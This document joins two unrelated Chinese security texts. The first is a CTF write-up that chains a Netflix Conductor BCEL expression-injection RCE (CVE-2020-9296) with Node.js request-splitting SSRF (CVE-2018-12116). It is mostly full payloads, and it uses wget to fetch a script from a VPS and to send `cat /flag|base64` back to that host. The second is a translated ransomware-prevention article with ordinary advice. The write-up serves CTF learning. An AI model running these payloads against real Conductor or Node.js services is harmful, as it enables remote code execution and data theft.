{"title":"Search Success","content":"{\"jetty.git.hash\":\"b1e6b55512e008f7fbdf1cbea4ff8a6446d1073b\",\"loadSample\":\"true\",\"io.netty.noUnsafe\":\"true\",\"conductor.jetty.server.enabled\":\"true\",\"io.netty.noKeySetOptimization\":\"true\",\"buildDate\":\"2021-04-03_17:38:09\",\"io.netty.recycler.maxCapacityPerThread\":\"0\",\"conductor.grpc.server.enabled\":\"false\",\"version\":\"2.26.0-SNAPSHOT\",\"queues.dynomite.nonQuorum.port\":\"22122\",\"workflow.elasticsearch.url\":\"es:9300\",\"workflow.namespace.queue.prefix\":\"conductor_queues\",\"user.timezone\":\"GMT\",\"workflow.dynomite.cluster.name\":\"dyno1\",\"sun.nio.ch.bugLevel\":\"\",\"workflow.dynomite.cluster.hosts\":\"dyno1:8102:us-east-1c\",\"workflow.elasticsearch.instanceType\":\"external\",\"db\":\"dynomite\",\"queues.dynomite.threads\":\"10\",\"workflow.namespace.prefix\":\"conductor\",\"workflow.elasticsearch.index.name\":\"conductor\"}"}
# RCE
## CVE-2020-9296 1day
准备Evil.java并编码
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("wget http://159.75.72.126:9998/1.txt -O /tmp/hfctf");
//Runtime.getRuntime().exec("sh /tmp/hfctf");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
继续
javac Evil.java
//获取编码工具，但是它下载下来还只是java文件，要打包
git clone https://github.com/f1tz/BCELCodeman.git
//下面打包
cd BCELCodeman/src
javac Main.java
jar -cvfm BCELCodeman.jar ../META-INF/MANIFEST.MF Main.class
//注意要回到Evil.class目录
java -jar BCELCodeman/src/BCELCodeman.jar e Evil.class
//我编码得到的如下：
‘’‘
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A
’‘’
构造json
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
## CVE-2018-12116
记得hgame里面有一题类似绕过中间件的请求走私，感觉差不多
我的靶机的内网ip：10.0.26.14:8080
### 准备payload
post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}[email protected]\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
//post_payload中BCEL编码部分注意换成自己编码得到的内容
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.26.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))
//url后的ip注意换成自己打的靶机的内网ip，其他可以全copy
//运行得到payload2
//http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.26.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1506%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
### 准备vps上的shell脚本写入文件，上传到靶机
#### 在Evil.java的同目录下准备几个文件
1.txt（服务器将命令通过wget方法回传）
#!/bin/sh
wget http://159.75.72.126:9998/?hfctf=`cat /flag|base64`
#### 开启监听端口
python3 -m http.server 9998
#### 发送payload2后
可以看到http已经有反应了
### 远程执行脚本
#### 更改Evil.java内容并重新编码
public class Evil
{
public Evil() {
try {
//Runtime.getRuntime().exec("wget http://159.75.72.126:9998/1.txt -O /tmp/hfctf");
Runtime.getRuntime().exec("sh /tmp/hfctf");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
javac Evil.java
//利用已经打包好的工具
java -jar BCELCodeman-main/src/BCELCodeman.jar e Evil.class
//得到编码：
//$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A
#### 同样方法构建payload3
post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}[email protected]\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
//post_payload中BCEL编码部分注意换成自己编码得到的内容
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.26.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))
//url后的ip注意换成自己打的靶机的内网ip，其他可以全copy
//运行得到payload3
//http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.26.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1427%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
发送payload3
base64一下就是flag
## 两次payload2，3的原理：
payload通过json内容触发远控，第一次恶意Evil.class中将vps上的1.txt（写了需要执行的命令）发送到靶机/tmp/hfctf上，然后通过第二次发payload执行（sh）已经在靶机上的1.txt中的命令，并且通过url传参数的方法（hfctf=`cat
/flag|base64`），将base64后的命令执行回显带回vps开启的http（9998）端口
## 我中间出错的地方：
vps开放端口时目录和靶机所访问的目录不一致，所以我最后直接把web服务放在根目录下，Evil.class
Evil.java也被我移到根目录下。尽量使用python3打开web服务，用自构建的py文件打开服务需要提前安装flask，并且需要对py命令中目录打开足够清晰（我不行）第二个CVE的请求走私配合
## 拆分攻击的SSRF
原理：unicode字符损坏
node.js默认使用latin1，这是单字节编码，不能表示高编号的unicode
当发出的路径中含有控制字符，HTTP库会将其URL编码
<http://example.com/\r\n/test> => /%0D%0A/test
当Node.js版本8或更低版本对此URL发出GET请求时，高编号的unicode不会进行转义，因为它们不是HTTP控制字符、
但是当字符串被编码(latin1)写入路径时，字符会被截断为/r和/n
> \u{010D}\u{010A} //高编号unicode
> čĊ //原字符
> /r/n //latin1截断
> //字符被截断为其JavaScript表示的最低字节
对于Node.js8或更低版本，如果有下列情况，任何发出传出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击：
• 接受来自用户输入的unicode数据
• 并将其包含爱HTTP请求的路径中
• 且请求具有一个0长度的主体（比如一个GET或者DELETE） | 社区文章 |
# 【安全科普】勒索软件之防微杜渐
|
##### 译文声明
本文是翻译文章，文章来源：滴滴安全应急响应中心
原文地址：<http://mp.weixin.qq.com/s/AnAdi6rXoy75MeZ_vZE6pw>
译文仅供参考，具体内容表达以及含义原文为准。
**传送门**
[**【安全科普】勒索软件是什么？**](http://bobao.360.cn/news/detail/4163.html)
上篇[《【知识库】勒索软件 |
上篇：勒索软件是什么？》](http://bobao.360.cn/news/detail/4163.html)简要描述了勒索软件的历史和发生时候的怪现象。
如果你还能坚持看完下篇，那么我相信，你一定会感觉到一丝绝望。
**3\. 被勒索后**
**3.1 如果你足够幸运的话……**
上篇曾经提到过，勒索软件加密算法都采取主流的安全加密方式，并且秘钥的强度都非常高，想依赖于破解的方式获取密码几乎是不可能的。这也是为什么勒索软件成为安全界的首要难题。
为此，荷兰技术犯罪调查组、欧洲网络犯罪调查中心（翻译的并不太准确，具体看下面截图），以及两家安全实验室 —— 卡巴斯基实验室和 Intel Security
一起搞了一个叫做“No More Ransom”的网站，专门提供那些已经可以解密的勒索软件的修复程序下载 —— 多说一句，这里的Intel
Security就是Intel买来McAfee后成立的安全部门，后来在去年又被Intel搞成独立公司，转手卖掉其中的大部分股份。然后接盘者又把名字改回成了
McAfee。
访问NOMORERANSOM ：<https://www.nomoreransom.org/>
在网站的解密工具中可以看到不少已经可以解密的勒索软件，这里都为受害者提供了对应的解密程序下载，程序使用都不复杂，不再详述。
解密工具下载页面：<https://www.nomoreransom.org/decryption-tools.html>
**3.2 如果你不幸的话……**
不幸的话，就只能支付赎金，然后并祈祷，对方是个讲究的勒索者，不会拿到赎金后不给你解密 ……
最后，无论你是通过什么样的方式获得了解密，在解密后，最好都断网并在独立存储中备份数据，然后重新安装系统。
**4\. 如何预防？**
在网络侧和终端安全防护软件上，各个厂商都在一直努力识别勒索软件。而同时，对个人来说，可以做的事情其实还是很多的。
首先，邮件附件要小心。
多数勒索软件或各种乱七八糟的病毒都是通过邮件附件的形式传播的，而且邮件附件不一定非要是exe或其他可执行文件才会感染到电脑，由于adobe、微软等公司的漏洞，像pdf、doc、docx这样的文档也可能内嵌了后门，在点击后会自动执行或是下载恶意后门后执行。
对于附件中的可执行文件，如果必须执行的话，则需要使用杀毒软件检查，如果文件本身不涉及到敏感信息可以上传到https://www.virustotal.com检测一下，
这个网站提供了多种杀毒引擎的交叉检测。
而对于pdf、word这样的文档，一方面要保证软件的自动升级已经打开并升级到了最新版本，另一方还是要根据邮件源头判断邮件本身是否可靠。
对于日常需要大量处理来自陌生邮件的文档的人来说 —— 如，收到大量简历 ——
可以使用Web版的邮件客户端，使用在线的文档查阅功能，可以相对安全的打开文档（记住，只是相对，并非绝对）。
其次，网上下载的文件更要小心。
从处置原则上来说，下载的文件与邮件附件的处置原则并没有什么太多不同。
值得注意的是，并非所有来自权威网站的下载就都是安全的 —— 历史无数次证明，很多非常权威的网站都曾被黑客入侵并将其中的下载文件替换为恶意程序。
还有，开启安全机制。
不管是Windows还是Mac，都有自动升级和防火墙这样的保护机制，一定要开启。另外，装个杀毒软件。
另外，勤备份。
重要文件经常备份，备份要离线保存。
而且，不要把D盘的东西copy到E盘就认为是完成了一次备份。
最后，多做善事。
这样厄运降临到头上的概率就会减少一些。也许吧 ……
